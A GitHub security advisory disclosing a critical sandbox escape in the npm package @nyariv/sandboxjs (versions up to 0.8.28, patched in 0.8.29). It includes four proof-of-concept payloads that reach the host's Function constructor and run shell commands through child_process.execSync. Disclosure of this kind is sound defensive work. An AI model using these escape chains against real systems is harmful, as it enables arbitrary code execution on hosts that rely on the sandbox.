@nyariv/sandboxjs has a Sandbox Escape issue

Critical severity GitHub Reviewed Published Feb 5, 2026 in nyariv/SandboxJS • Updated Feb 6, 2026

Package

npm @nyariv/sandboxjs (npm)

Affected versions

<= 0.8.28

Patched versions

0.8.29

Description

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
